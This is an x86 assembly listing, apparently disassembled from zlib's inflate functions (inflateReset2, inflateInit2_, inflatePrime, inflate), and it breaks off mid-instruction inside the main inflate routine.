inflateReset2: pushl %ebp movl %esp, %ebp pushl %edi pushl %esi pushl %ebx subl $12, %esp movl 8(%ebp), %edi testl %edi, %edi movl 12(%ebp), %ebx je .L0804F002 .L0804EFFB: movl 28(%edi), %esi testl %esi, %esi jne .L0804F014 .L0804F002: movl $-2, %edx .L0804F007: leal -12(%ebp), %esp popl %ebx popl %esi movl %edx, %eax popl %edi leave ret .L0804F011: .p2align 2 .L0804F014: testl %ebx, %ebx js .L0804F130 .L0804F01C: movl %ebx, %eax sarl $4, %eax incl %eax cmpl $47, %ebx movl %eax, -16(%ebp) jle .L0804F128 .L0804F02E: testl %ebx, %ebx je .L0804F03F .L0804F032: leal -8(%ebx), %ecx cmpl $7, %ecx movl $-2, %edx ja .L0804F007 .L0804F03F: movl 52(%esi), %eax testl %eax, %eax je .L0804F060 .L0804F046: cmpl %ebx, 36(%esi) je .L0804F060 .L0804F04B: subl $8, %esp pushl %eax pushl 40(%edi) call *36(%edi) .L0804F055: movl $0, 52(%esi) addl $16, %esp .p2align 3 .L0804F060: movl -16(%ebp), %edx testl %edi, %edi movl %edx, 8(%esi) movl %ebx, 36(%esi) je .L0804F11C .L0804F071: movl 28(%edi), %edx testl %edx, %edx je .L0804F11C .L0804F07C: movl 8(%edx), %eax testl %eax, %eax movl $0, 28(%edx) movl $0, 40(%edx) movl $0, 44(%edx) movl $0, 48(%edx) movl $0, 20(%edi) movl $0, 8(%edi) movl $0, 24(%edi) je .L0804F0BA .L0804F0B4: andl $1, %eax movl %eax, 48(%edi) .L0804F0BA: leal 1328(%edx), %ebx xorl %eax, %eax movl $0, (%edx) movl $0, 4(%edx) movl $0, 12(%edx) movl $32768, 20(%edx) movl $0, 32(%edx) movl $0, 56(%edx) movl $0, 60(%edx) movl %ebx, 108(%edx) movl %ebx, 80(%edx) movl %ebx, 76(%edx) movl $1, 7104(%edx) movl $-1, 7108(%edx) movl %eax, %edx .L0804F111: leal -12(%ebp), %esp popl %ebx popl %esi movl %edx, %eax popl %edi leave ret .L0804F11B: .p2align 2 .L0804F11C: movl $-2, %eax movl %eax, %edx jmp .L0804F111 .L0804F125: .p2align 3 .L0804F128: andl $15, %ebx jmp .L0804F02E .L0804F130: negl %ebx movl $0, -16(%ebp) jmp .L0804F02E .size inflateReset2, .-inflateReset2 # ---------------------- .L0804F13E: .p2align 3 # ---------------------- .globl inflateInit2_ .type inflateInit2_, @function inflateInit2_: pushl %ebp movl %esp, %ebp pushl %edi pushl %esi pushl %ebx subl $12, %esp movl 16(%ebp), %eax testl %eax, %eax movl 8(%ebp), %esi je .L0804F158 .L0804F153: cmpb $49, (%eax) je .L0804F168 .L0804F158: movl $-6, %eax .L0804F15D: leal -12(%ebp), %esp popl %ebx popl %esi popl %edi leave ret .L0804F165: .p2align 3 .L0804F168: cmpl $56, 20(%ebp) jne .L0804F158 .L0804F16E: testl %esi, %esi movl $-2, %eax je .L0804F15D .L0804F177: movl 32(%esi), %eax testl %eax, %eax movl $0, 24(%esi) je .L0804F247 .L0804F189: movl 36(%esi), %ecx testl %ecx, %ecx jne .L0804F197 .L0804F190: movl $zcfree, 36(%esi) .L0804F197: pushl %edx pushl $7116 pushl $1 pushl 40(%esi) call *%eax .L0804F1A4: movl %eax, %edi addl $16, %esp testl %edi, %edi movl $-4, %eax je .L0804F15D .L0804F1B2: movl 12(%ebp), %ebx testl %ebx, %ebx movl %edi, 28(%esi) movl $0, 52(%edi) js .L0804F2F3 .L0804F1C7: movl %ebx, %eax sarl $4, %eax incl %eax cmpl $47, %ebx movl %eax, -20(%ebp) jg .L0804F1D8 .L0804F1D5: andl $15, %ebx .L0804F1D8: testl %ebx, %ebx je .L0804F1EB .L0804F1DC: leal -8(%ebx), %edx cmpl $7, %edx movl $-2, -16(%ebp) ja .L0804F22B .L0804F1EB: movl 52(%edi), %eax testl %eax, %eax je .L0804F20B .L0804F1F2: cmpl %ebx, 36(%edi) je .L0804F20B .L0804F1F7: subl $8, %esp pushl %eax pushl 40(%esi) call *36(%esi) .L0804F201: addl $16, %esp movl $0, 52(%edi) .L0804F20B: movl -20(%ebp), %ecx testl %esi, %esi movl %ecx, 8(%edi) movl %ebx, 36(%edi) je .L0804F21F .L0804F218: movl 28(%esi), %edx testl %edx, %edx jne .L0804F25B .L0804F21F: movl $-2, %eax .L0804F224: testl %eax, %eax movl %eax, -16(%ebp) je .L0804F23F .L0804F22B: subl $8, %esp pushl %edi pushl 40(%esi) call *36(%esi) .L0804F235: movl $0, 28(%esi) addl $16, %esp .L0804F23F: movl -16(%ebp), %eax jmp .L0804F15D .L0804F247: movl $zcalloc, %eax movl %eax, 32(%esi) movl $0, 40(%esi) jmp .L0804F189 .L0804F25B: movl 8(%edx), %eax testl %eax, %eax movl $0, 28(%edx) movl $0, 40(%edx) movl $0, 44(%edx) movl $0, 48(%edx) movl $0, 20(%esi) movl $0, 8(%esi) movl $0, 24(%esi) je .L0804F299 .L0804F293: andl $1, %eax movl %eax, 48(%esi) .L0804F299: leal 1328(%edx), %ebx xorl %eax, %eax movl $0, (%edx) movl $0, 4(%edx) movl $0, 12(%edx) movl $32768, 20(%edx) movl $0, 32(%edx) movl $0, 56(%edx) movl $0, 60(%edx) movl %ebx, 108(%edx) movl %ebx, 80(%edx) movl %ebx, 76(%edx) movl $1, 7104(%edx) movl $-1, 7108(%edx) jmp .L0804F224 .L0804F2F3: negl %ebx movl $0, -20(%ebp) jmp .L0804F1D8 .size inflateInit2_, .-inflateInit2_ # ---------------------- .L0804F301: .p2align 2 # ---------------------- .globl inflateInit_ .type inflateInit_, @function inflateInit_: pushl %ebp movl %esp, %ebp subl $8, %esp pushl 16(%ebp) pushl 12(%ebp) pushl $15 pushl 8(%ebp) call inflateInit2_ .L0804F31A: leave ret .size inflateInit_, .-inflateInit_ # ---------------------- .globl inflatePrime .type inflatePrime, @function inflatePrime: pushl %ebp movl %esp, %ebp pushl %edi pushl %esi pushl %ebx movl 8(%ebp), %eax testl %eax, %eax movl 12(%ebp), %ecx movl 16(%ebp), %ebx je .L0804F34C .L0804F32F: movl 28(%eax), %edx testl %edx, %edx je .L0804F34C .L0804F336: testl %ecx, %ecx js .L0804F374 .L0804F33A: cmpl $16, %ecx jg .L0804F34C .L0804F33F: movl 60(%edx), %esi leal (%esi,%ecx), %edi cmpl $32, %edi jbe .L0804F358 .L0804F34A: .p2align 2 .L0804F34C: popl %ebx popl %esi movl $-2, %eax popl %edi leave ret .L0804F356: .p2align 3 .L0804F358: movl $1, %eax sall %cl, %eax decl %eax andl %eax, %ebx movl %esi, %ecx sall %cl, %ebx addl %ebx, 56(%edx) movl %edi, 60(%edx) xorl %eax, %eax .L0804F36E: popl %ebx popl %esi popl %edi leave ret .L0804F373: .p2align 2 .L0804F374: xorl %eax, %eax movl $0, 56(%edx) movl $0, 60(%edx) jmp .L0804F36E .size inflatePrime, .-inflatePrime # ---------------------- .L0804F386: .p2align 3 # ---------------------- .globl inflate .type inflate, @function inflate: pushl %ebp movl %esp, %ebp pushl %edi pushl %esi pushl %ebx subl $140, %esp movl 8(%ebp), %ebx testl %ebx, %ebx je .L0804F3FC .L0804F39B: movl 8(%ebp), %eax movl 28(%eax), %edi testl %edi, %edi je .L0804F3FC .L0804F3A5: movl 12(%eax), %ecx testl %ecx, %ecx je .L0804F3FC .L0804F3AC: movl (%eax), %ebx testl %ebx, %ebx je .L0804F3F4 .L0804F3B2: movl 8(%ebp), %eax movl 4(%eax), %edx .L0804F3B8: movl (%edi), %eax cmpl $11, %eax je .L0804F409 .L0804F3BF: movl %ecx, -24(%ebp) movl 8(%ebp), %ecx movl 16(%ecx), %ecx movl 56(%edi), %esi movl %esi, -36(%ebp) movl %ecx, -32(%ebp) movl %ebx, -20(%ebp) movl %edx, -28(%ebp) movl 60(%edi), %esi movl %edx, -40(%ebp) movl %ecx, -44(%ebp) movl $0, -52(%ebp) .L0804F3E7: cmpl $30, %eax ja .L0804F3FC .L0804F3EC: jmp *.LC080552A0(,%eax,4) .L0804F3F3: .p2align 2 .L0804F3F4: movl 4(%eax), %edx testl %edx, %edx je .L0804F3B8 .L0804F3FB: .p2align 2 .L0804F3FC: movl $-2, %eax .L0804F401: leal -12(%ebp), %esp popl %ebx popl %esi popl %edi leave ret .L0804F409: movb $12, %al movl $12, (%edi) jmp .L0804F3BF .L0804F413: cmpl $15, %esi ja .L0804F43F .L0804F418: movl -28(%ebp), %ecx testl %ecx, %ecx je .L0804F580 .L0804F423: movl -20(%ebp), %edx decl -28(%ebp) movzbl (%edx), %eax movl %esi, %ecx sall %cl, %eax incl %edx addl %eax, -36(%ebp) movl %edx, -20(%ebp) addl $8, %esi cmpl $15, %esi jbe .L0804F418 .L0804F43F: movl -36(%ebp), %ebx cmpb $8, %bl movl %ebx, 16(%edi) je .L080506E8 .L0804F44E: movl 8(%ebp), %edx movl $.LC0805531C, 24(%edx) jmp .L0804FA24 .L0804F45D: cmpl $13, %esi ja .L0804F489 .L0804F462: movl -28(%ebp), %eax testl %eax, %eax je .L0804F580 .L0804F46D: movl -20(%ebp), %ebx decl -28(%ebp) movzbl (%ebx), %edx movl %esi, %ecx sall %cl, %edx incl %ebx addl %edx, -36(%ebp) movl %ebx, -20(%ebp) addl $8, %esi cmpl $13, %esi jbe .L0804F462 .L0804F489: movl -36(%ebp), %eax movl -36(%ebp), %ebx shrl $10, -36(%ebp) andl $31, %eax shrl $5, %ebx movl -36(%ebp), %edx andl $31, %ebx addl $257, %eax andl $15, %edx leal 1(%ebx), %ecx shrl $4, -36(%ebp) leal 4(%edx), %ebx subl $14, %esi cmpl $286, %eax movl %eax, 96(%edi) movl %ecx, 100(%edi) movl %ebx, 92(%edi) ja .L0804F4CD .L0804F4C4: cmpl $30, %ecx jbe .L08050728 .L0804F4CD: movl 8(%ebp), %ecx movl $.LC080554A0, 24(%ecx) jmp .L0804FA24 .L0804F4DC: cmpl $31, %esi ja .L0804F507 .L0804F4E1: movl -28(%ebp), %ebx testl %ebx, %ebx je .L0804F580 .L0804F4EC: movl -20(%ebp), %edx decl -28(%ebp) movzbl (%edx), %eax movl %esi, %ecx sall %cl, %eax addl %eax, -36(%ebp) incl -20(%ebp) addl $8, %esi cmpl $31, %esi jbe .L0804F4E1 .L0804F507: movl -36(%ebp), %ecx movl -36(%ebp), %ebx movl -36(%ebp), %eax shrl $8, %ecx shrl $24, %ebx andl $65280, %ecx andl $65280, %eax addl %ecx, %ebx sall $8, %eax sall $24, -36(%ebp) addl %eax, %ebx addl -36(%ebp), %ebx movl 8(%ebp), %esi movl %ebx, 24(%edi) movl $0, -36(%ebp) movl %ebx, 48(%esi) movl $10, (%edi) xorl %esi, %esi .L0804F547: movl 12(%edi), %edx testl %edx, %edx je .L080509A4 .L0804F552: pushl %edx pushl $0 pushl $0 pushl $0 call adler32 .L0804F55E: movl 8(%ebp), %ebx movl %eax, 24(%edi) movl $11, (%edi) movl %eax, 48(%ebx) addl $16, %esp .L0804F570: movl 12(%ebp), %eax subl $5, %eax cmpl $1, %eax ja .L0804FA34 .L0804F57F: .p2align 3 .L0804F580: movl 8(%ebp), %edx movl -24(%ebp), %ebx movl -32(%ebp), %ecx movl %ebx, 12(%edx) movl -28(%ebp), %ebx movl %ecx, 16(%edx) movl %ebx, 4(%edx) movl %esi, 60(%edi) movl 40(%edi), %esi movl -20(%ebp), %eax movl -36(%ebp), %ecx testl %esi, %esi movl %eax, (%edx) movl %ecx, 56(%edi) jne .L080501E8 .L0804F5AE: movl 16(%edx), %eax cmpl -44(%ebp), %eax je .L0804F672 .L0804F5BA: movl (%edi), %edx cmpl $28, %edx ja .L0804F672 .L0804F5C5: cmpl $25, %edx jbe .L0804F5D4 .L0804F5CA: cmpl $4, 12(%ebp) je .L0804F672 .L0804F5D4: movl -44(%ebp), %ecx subl %eax, %ecx movl 8(%ebp), %eax movl 28(%eax), %ebx movl 52(%ebx), %esi testl %esi, %esi movl %ecx, -88(%ebp) movl %esi, -92(%ebp) je .L0804FDAE .L0804F5F0: movl 40(%ebx), %eax testl %eax, %eax jne .L0804F60F .L0804F5F7: movl 36(%ebx), %ecx movb $1, %al sall %cl, %eax movl %eax, 40(%ebx) movl $0, 48(%ebx) movl $0, 44(%ebx) .L0804F60F: cmpl -88(%ebp), %eax jbe .L080503F0 .L0804F618: movl 48(%ebx), %edx movl %eax, %esi subl %edx, %esi cmpl -88(%ebp), %esi jbe .L0804F627 .L0804F624: movl -88(%ebp), %esi .L0804F627: movl -24(%ebp), %eax subl -88(%ebp), %eax addl -92(%ebp), %edx pushl %ecx pushl %esi pushl %eax pushl %edx call memcpy .L0804F639: movl -88(%ebp), %eax addl $16, %esp subl %esi, %eax movl %eax, -136(%ebp) jne .L08050468 .L0804F64D: movl 48(%ebx), %eax addl %esi, %eax movl 40(%ebx), %edx cmpl %edx, %eax je .L080504E1 .L0804F65D: movl %eax, 48(%ebx) .L0804F660: movl 44(%ebx), %eax cmpl %edx, %eax jae .L0804F66C .L0804F667: addl %esi, %eax .L0804F669: movl %eax, 44(%ebx) .L0804F66C: movl 8(%ebp), %ebx movl 16(%ebx), %eax .L0804F672: movl -40(%ebp), %esi movl 8(%ebp), %edx movl -44(%ebp), %ebx subl %eax, %ebx subl 4(%edx), %esi movl 8(%ebp), %eax addl %esi, 8(%eax) addl %ebx, 20(%eax) movl 8(%edi), %ecx addl %ebx, 28(%edi) testl %ecx, %ecx je .L0804F6C0 .L0804F693: testl %ebx, %ebx je .L0804F6C0 .L0804F697: movl 16(%edi), %ecx testl %ecx, %ecx je .L0805048C .L0804F6A2: pushl %edx pushl %ebx movl 12(%eax), %eax subl %ebx, %eax pushl %eax pushl 24(%edi) call crc32 .L0804F6B2: movl 8(%ebp), %ecx movl %eax, 24(%edi) addl $16, %esp movl %eax, 48(%ecx) .p2align 3 .L0804F6C0: movl 4(%edi), %edx testl %edx, %edx movl 60(%edi), %eax je .L0804F6CD .L0804F6CA: addl $64, %eax .L0804F6CD: movl %eax, %edx movl (%edi), %eax cmpl $11, %eax je .L080503D1 .L0804F6DA: cmpl $19, %eax je .L080501F3 .L0804F6E3: cmpl $14, %eax je .L080501F3 .L0804F6EC: movl 8(%ebp), %edi testl %esi, %esi movl %edx, 44(%edi) jne .L0804F6FE .L0804F6F6: testl %ebx, %ebx je .L0804FA5A .L0804F6FE: cmpl $4, 12(%ebp) je .L0804FA5A .L0804F708: movl -52(%ebp), %eax .L0804F70B: leal -12(%ebp), %esp popl %ebx popl %esi popl %edi leave ret .L0804F713: movl 32(%edi), %edx testl %edx, %edx je .L0804F725 .L0804F71A: movl -36(%ebp), %esi shrl $8, %esi andl $1, %esi movl %esi, (%edx) .L0804F725: testb $2, 17(%edi) jne .L0805084C .L0804F72F: movl $0, -36(%ebp) xorl %esi, %esi movl $2, (%edi) .L0804F73E: movl -28(%ebp), %eax testl %eax, %eax je .L0804F580 .L0804F749: movl -20(%ebp), %ebx decl -28(%ebp) movzbl (%ebx), %edx movl %esi, %ecx sall %cl, %edx incl %ebx addl %edx, -36(%ebp) movl %ebx, -20(%ebp) addl $8, %esi .L0804F760: cmpl $31, %esi jbe .L0804F73E .L0804F765: movl 32(%edi), %eax testl %eax, %eax je .L0804F772 .L0804F76C: movl -36(%ebp), %esi movl %esi, 4(%eax) .L0804F772: testb $2, 17(%edi) jne .L08050692 .L0804F77C: movl $0, -36(%ebp) xorl %esi, %esi movl $3, (%edi) .p2align 2 .L0804F78C: movl -28(%ebp), %ebx testl %ebx, %ebx je .L0804F580 .L0804F797: movl -20(%ebp), %edx decl -28(%ebp) movzbl (%edx), %eax movl %esi, %ecx sall %cl, %eax incl %edx addl %eax, -36(%ebp) movl %edx, -20(%ebp) addl $8, %esi .L0804F7AE: cmpl $15, %esi jbe .L0804F78C .L0804F7B3: movl 32(%edi), %edx testl %edx, %edx je .L0804F7CA .L0804F7BA: movl -36(%ebp), %esi movzbl -36(%ebp), %ebx shrl $8, %esi movl %ebx, 8(%edx) movl %esi, 12(%edx) .L0804F7CA: movl 16(%edi), %edx testb $2, %dh jne .L0805058D .L0804F7D6: movl $0, -36(%ebp) xorl %esi, %esi movl $4, (%edi) .L0804F7E5: testb $4, %dh je .L08050412 .L0804F7EE: cmpl $15, %esi ja .L0804F819 .L0804F7F3: movl -28(%ebp), %ebx testl %ebx, %ebx je .L0804F580 .L0804F7FE: movl -20(%ebp), %ebx decl -28(%ebp) movzbl (%ebx), %eax movl %esi, %ecx sall %cl, %eax addl %eax, -36(%ebp) incl -20(%ebp) addl $8, %esi cmpl $15, %esi jbe .L0804F7F3 .L0804F819: movl 32(%edi), %eax movl -36(%ebp), %ebx testl %eax, %eax movl %ebx, 64(%edi) je .L0804F82C .L0804F826: movl %ebx, 20(%eax) movl 16(%edi), %edx .L0804F82C: testb $2, %dh jne .L08050665 .L0804F835: movl $0, -36(%ebp) xorl %esi, %esi .L0804F83E: movl $5, (%edi) .L0804F844: testb $4, %dh je .L0804F8D6 .L0804F84D: movl 64(%edi), %eax cmpl -28(%ebp), %eax movl %eax, %ebx jbe .L0804F85A .L0804F857: movl -28(%ebp), %ebx .L0804F85A: testl %ebx, %ebx je .L0804F8CB .L0804F85E: movl 32(%edi), %ecx testl %ecx, %ecx movl %ecx, -140(%ebp) je .L0804F8B4 .L0804F86B: movl 16(%ecx), %ecx testl %ecx, %ecx movl %ecx, -56(%ebp) je .L0804F8B4 .L0804F875: movl -140(%ebp), %ecx movl 20(%ecx), %edx subl %eax, %edx leal (%edx,%ebx), %eax movl %eax, -144(%ebp) movl 24(%ecx), %ecx cmpl %ecx, -144(%ebp) movl %ebx, -60(%ebp) jbe .L0804F89C .L0804F897: subl %edx, %ecx movl %ecx, -60(%ebp) .L0804F89C: movl -56(%ebp), %ecx addl %edx, %ecx pushl %edx pushl -60(%ebp) pushl -20(%ebp) pushl %ecx call memcpy .L0804F8AE: addl $16, %esp movl 16(%edi), %edx .L0804F8B4: andb $2, %dh jne .L080506D0 .L0804F8BD: movl 64(%edi), %eax subl %ebx, %eax subl %ebx, -28(%ebp) addl %ebx, -20(%ebp) movl %eax, 64(%edi) .L0804F8CB: testl %eax, %eax jne .L0804F580 .L0804F8D3: movl 16(%edi), %edx .L0804F8D6: movl $0, 64(%edi) movl $6, (%edi) .L0804F8E3: testb $8, %dh je .L080503D9 .L0804F8EC: movl -28(%ebp), %ebx testl %ebx, %ebx je .L0804F580 .L0804F8F7: xorl %ebx, %ebx .p2align 2 .L0804F8FC: movl -20(%ebp), %eax movzbl (%ebx,%eax), %edx movl 32(%edi), %eax incl %ebx testl %eax, %eax movl %edx, -108(%ebp) je .L0804F928 .L0804F90E: movl 28(%eax), %edx testl %edx, %edx je .L0804F928 .L0804F915: movl 64(%edi), %ecx cmpl 32(%eax), %ecx jae .L0804F928 .L0804F91D: movb -108(%ebp), %al movb %al, (%ecx,%edx) incl 64(%edi) .p2align 3 .L0804F928: movl -108(%ebp), %ecx testl %ecx, %ecx je .L0804F934 .L0804F92F: cmpl -28(%ebp), %ebx jb .L0804F8FC .L0804F934: testb $2, 17(%edi) jne .L0805055E .L0804F93E: subl %ebx, -28(%ebp) addl %ebx, -20(%ebp) movl -108(%ebp), %ebx testl %ebx, %ebx jne .L0804F580 .L0804F94F: movl 16(%edi), %edx .L0804F952: movl $0, 64(%edi) movl $7, (%edi) .L0804F95F: testb $16, %dh je .L080503BA .L0804F968: movl -28(%ebp), %edx testl %edx, %edx je .L0804F580 .L0804F973: xorl %ebx, %ebx .p2align 3 .L0804F978: movl -20(%ebp), %ecx movzbl (%ebx,%ecx), %eax movl %eax, -112(%ebp) movl 32(%edi), %eax incl %ebx testl %eax, %eax je .L0804F9A4 .L0804F98A: movl 36(%eax), %edx testl %edx, %edx je .L0804F9A4 .L0804F991: movl 64(%edi), %ecx cmpl 40(%eax), %ecx jae .L0804F9A4 .L0804F999: movb -112(%ebp), %al movb %al, (%ecx,%edx) incl 64(%edi) .p2align 2 .L0804F9A4: movl -112(%ebp), %edx testl %edx, %edx je .L0804F9B0 .L0804F9AB: cmpl -28(%ebp), %ebx jb .L0804F978 .L0804F9B0: testb $2, 17(%edi) jne .L080504C9 .L0804F9BA: subl %ebx, -28(%ebp) addl %ebx, -20(%ebp) movl -112(%ebp), %ebx testl %ebx, %ebx jne .L0804F580 .L0804F9CB: movl 16(%edi), %edx .L0804F9CE: movl $8, (%edi) .L0804F9D4: testb $2, %dh je .L08050207 .L0804F9DD: cmpl $15, %esi ja .L0804FA0A .L0804F9E2: .p2align 2 .L0804F9E4: movl -28(%ebp), %ecx testl %ecx, %ecx je .L0804F580 .L0804F9EF: movl -20(%ebp), %ebx decl -28(%ebp) movzbl (%ebx), %eax movl %esi, %ecx sall %cl, %eax addl %eax, -36(%ebp) incl -20(%ebp) addl $8, %esi cmpl $15, %esi jbe .L0804F9E4 .L0804FA0A: movzwl 24(%edi), %eax cmpl -36(%ebp), %eax je .L080501FE .L0804FA17: movl 8(%ebp), %edx movl $.LC08055337, 24(%edx) .p2align 2 .L0804FA24: movl $29, %eax movl $29, (%edi) jmp .L0804F3EC .L0804FA34: movl 4(%edi), %ecx testl %ecx, %ecx je .L080501BA .L0804FA3F: movl %esi, %ecx andl $7, %ecx shrl %cl, -36(%ebp) andl $-8, %esi movl $26, %eax movl $26, (%edi) jmp .L0804F3EC .L0804FA5A: movl -52(%ebp), %esi testl %esi, %esi jne .L0804F708 .L0804FA65: movl $-5, -52(%ebp) movl -52(%ebp), %eax jmp .L0804F70B .L0804FA74: movl 72(%edi), %ebx .L0804FA77: testl %ebx, %ebx je .L0804FAC0 .L0804FA7B: cmpl %esi, %ebx jbe .L0804FAA5 .L0804FA7F: movl -28(%ebp), %eax testl %eax, %eax je .L0804F580 .L0804FA8A: movl -20(%ebp), %edx decl -28(%ebp) movzbl (%edx), %eax movl %esi, %ecx sall %cl, %eax incl %edx addl %eax, -36(%ebp) movl %edx, -20(%ebp) addl $8, %esi cmpl %esi, %ebx ja .L0804FA7F .L0804FAA5: movb %bl, %cl movl $1, %edx sall %cl, %edx decl %edx andl -36(%ebp), %edx addl %edx, 68(%edi) shrl %cl, -36(%ebp) subl %ebx, %esi addl %ebx, 7108(%edi) .L0804FAC0: movl $24, (%edi) .L0804FAC6: movl -32(%ebp), %ebx testl %ebx, %ebx je .L0804F580 .L0804FAD1: movl -44(%ebp), %edx subl -32(%ebp), %edx movl 68(%edi), %eax cmpl %edx, %eax jbe .L08050429 .L0804FAE2: subl %edx, %eax cmpl %eax, 44(%edi) movl %eax, %edx jae .L080504A4 .L0804FAEF: movl 7104(%edi), %eax testl %eax, %eax je .L080504A4 .L0804FAFD: movl 8(%ebp), %ecx movl $.LC0805534B, 24(%ecx) jmp .L0804FA24 .L0804FB0C: movl $15, (%edi) .L0804FB12: movl 64(%edi), %ebx testl %ebx, %ebx jne .L08050966 .L0804FB1D: movl $11, %eax movl $11, (%edi) jmp .L0804F3EC .L0804FB2D: movl $20, (%edi) .L0804FB33: cmpl $5, -28(%ebp) jbe .L0804FB46 .L0804FB39: cmpl $257, -32(%ebp) ja .L080505ED .L0804FB46: movl 84(%edi), %ecx movl $1, %eax movl 76(%edi), %edx sall %cl, %eax movl %edx, -124(%ebp) leal -1(%eax), %edx movl $0, 7108(%edi) jmp .L0804FB8A .L0804FB65: .p2align 3 .L0804FB68: movl -28(%ebp), %ebx testl %ebx, %ebx je .L0804F580 .L0804FB73: movl -20(%ebp), %ebx decl -28(%ebp) movzbl (%ebx), %eax movl %esi, %ecx sall %cl, %eax incl %ebx addl %eax, -36(%ebp) movl %ebx, -20(%ebp) addl $8, %esi .L0804FB8A: movl -36(%ebp), %eax andl %edx, %eax movl -124(%ebp), %ecx movl (%ecx,%eax,4), %ebx movzbl %bh, %eax cmpl %esi, %eax ja .L0804FB68 .L0804FB9C: testb %bl, %bl je .L0804FC1B .L0804FBA0: testb $240, %bl jne .L0804FC1B .L0804FBA5: movl %ebx, -48(%ebp) movzbl -48(%ebp), %edx shrl $16, %ebx movl %ebx, -72(%ebp) movl %edx, -76(%ebp) jmp .L0804FBD9 .L0804FBB7: movl -28(%ebp), %edx testl %edx, %edx je .L0804F580 .L0804FBC2: movl -20(%ebp), %ebx decl -28(%ebp) movzbl (%ebx), %eax movl %esi, %ecx sall %cl, %eax incl %ebx addl %eax, -36(%ebp) movl %ebx, -20(%ebp) addl $8, %esi .L0804FBD9: movl -48(%ebp), %ebx movzbl %bh, %ecx addl -76(%ebp), %ecx movl $1, %eax sall %cl, %eax decl %eax movl -48(%ebp), %edx andl -36(%ebp), %eax movzbl %dh, %ecx shrl %cl, %eax addl -72(%ebp), %eax movl -124(%ebp), %ecx movl (%ecx,%eax,4), %ebx movzbl %bh, %ecx movzbl %dh, %eax addl %ecx, %eax cmpl %esi, %eax ja .L0804FBB7 .L0804FC0A: movl -48(%ebp), %eax movzbl %ah, %ecx shrl %cl, -36(%ebp) subl %ecx, %esi addl %ecx, 7108(%edi) .L0804FC1B: movzbl %bh, %ecx shrl %cl, -36(%ebp) subl %ecx, %esi movl %ecx, %edx movl %ebx, %ecx shrl $16, %ecx addl 7108(%edi), %edx testb %bl, %bl movl %ecx, 64(%edi) jne .L080505D3 .L0804FC3B: movl $25, %eax movl %edx, 7108(%edi) movl $25, (%edi) jmp .L0804F3EC .L0804FC51: movl 72(%edi), %ebx .L0804FC54: testl %ebx, %ebx je .L0804FC9D .L0804FC58: cmpl %esi, %ebx jbe .L0804FC82 .L0804FC5C: movl -28(%ebp), %edx testl %edx, %edx je .L0804F580 .L0804FC67: movl -20(%ebp), %edx decl -28(%ebp) movzbl (%edx), %eax movl %esi, %ecx sall %cl, %eax incl %edx addl %eax, -36(%ebp) movl %edx, -20(%ebp) addl $8, %esi cmpl %esi, %ebx ja .L0804FC5C .L0804FC82: movb %bl, %cl movl $1, %edx sall %cl, %edx decl %edx andl -36(%ebp), %edx addl %edx, 64(%edi) shrl %cl, -36(%ebp) subl %ebx, %esi addl %ebx, 7108(%edi) .L0804FC9D: movl 64(%edi), %ebx movl %ebx, 7112(%edi) movl $22, (%edi) .L0804FCAC: movl 88(%edi), %ecx movl $1, %eax movl 80(%edi), %edx sall %cl, %eax movl %edx, -128(%ebp) leal -1(%eax), %edx jmp .L0804FCE6 .L0804FCC1: .p2align 2 .L0804FCC4: movl -28(%ebp), %ebx testl %ebx, %ebx je .L0804F580 .L0804FCCF: movl -20(%ebp), %ebx decl -28(%ebp) movzbl (%ebx), %eax movl %esi, %ecx sall %cl, %eax incl %ebx addl %eax, -36(%ebp) movl %ebx, -20(%ebp) addl $8, %esi .L0804FCE6: movl -36(%ebp), %eax andl %edx, %eax movl -128(%ebp), %ecx movl (%ecx,%eax,4), %ebx movzbl %bh, %eax cmpl %esi, %eax ja .L0804FCC4 .L0804FCF8: testb $240, %bl jne .L0804FD86 .L0804FD01: movl %ebx, -132(%ebp) movzbl -132(%ebp), %edx shrl $16, %ebx movl %ebx, -80(%ebp) movl %edx, -84(%ebp) jmp .L0804FD3B .L0804FD19: movl -28(%ebp), %edx testl %edx, %edx je .L0804F580 .L0804FD24: movl -20(%ebp), %ebx decl -28(%ebp) movzbl (%ebx), %eax movl %esi, %ecx sall %cl, %eax incl %ebx addl %eax, -36(%ebp) movl %ebx, -20(%ebp) addl $8, %esi .L0804FD3B: movl -132(%ebp), %ebx movzbl %bh, %ecx addl -84(%ebp), %ecx movl $1, %eax sall %cl, %eax decl %eax movl -132(%ebp), %edx andl -36(%ebp), %eax movzbl %dh, %ecx shrl %cl, %eax addl -80(%ebp), %eax movl -128(%ebp), %ecx movl (%ecx,%eax,4), %ebx movzbl %bh, %ecx movzbl %dh, %eax addl %ecx, %eax cmpl %esi, %eax ja .L0804FD19 .L0804FD72: movl -132(%ebp), %eax movzbl %ah, %ecx shrl %cl, -36(%ebp) subl %ecx, %esi addl %ecx, 7108(%edi) .L0804FD86: movzbl %bh, %ecx movzbl %bl, %eax shrl %cl, -36(%ebp) subl %ecx, %esi addl %ecx, 7108(%edi) testb $64, %al je .L080505BA .L0804FD9F: movl 8(%ebp), %ebx movl $.LC08055369, 24(%ebx) jmp .L0804FA24 .L0804FDAE: pushl %eax pushl $1 movl 36(%ebx), %ecx movl $1, %esi sall %cl, %esi pushl %esi movl 8(%ebp), %edx pushl 40(%edx) call *32(%edx) .L0804FDC5: addl $16, %esp testl %eax, %eax movl %eax, -92(%ebp) movl %eax, 52(%ebx) jne .L0804F5F0 .L0804FDD6: movl $30, (%edi) .L0804FDDC: movl $-4, %eax jmp .L0804F401 .L0804FDE6: movl $0, 104(%edi) movl $18, (%edi) .L0804FDF3: movl 96(%edi), %ebx movl 100(%edi), %edx movl %ebx, %eax movl 104(%edi), %ecx addl %edx, %eax cmpl %eax, %ecx movl %ebx, -100(%ebp) movl %edx, -104(%ebp) movl %ecx, -116(%ebp) jae .L0804FEA2 .L0804FE11: movl 84(%edi), %ecx movl $1, %eax sall %cl, %eax movl 76(%edi), %edx decl %eax movl %edx, -96(%ebp) movl %eax, -64(%ebp) .p2align 3 .L0804FE28: movl -64(%ebp), %edx andl -36(%ebp), %edx movl -96(%ebp), %ecx movl (%ecx,%edx,4), %ebx movzbl %bh, %eax cmpl %esi, %eax jbe .L0804FE6F .L0804FE3B: movl -28(%ebp), %ebx testl %ebx, %ebx je .L0804F580 .L0804FE46: movl -20(%ebp), %edx decl -28(%ebp) movzbl (%edx), %eax movl %esi, %ecx sall %cl, %eax addl %eax, -36(%ebp) incl -20(%ebp) addl $8, %esi movl -64(%ebp), %edx andl -36(%ebp), %edx movl -96(%ebp), %ecx movl (%ecx,%edx,4), %ebx movzbl %bh, %eax cmpl %esi, %eax ja .L0804FE3B .L0804FE6F: movl %ebx, %edx shrl 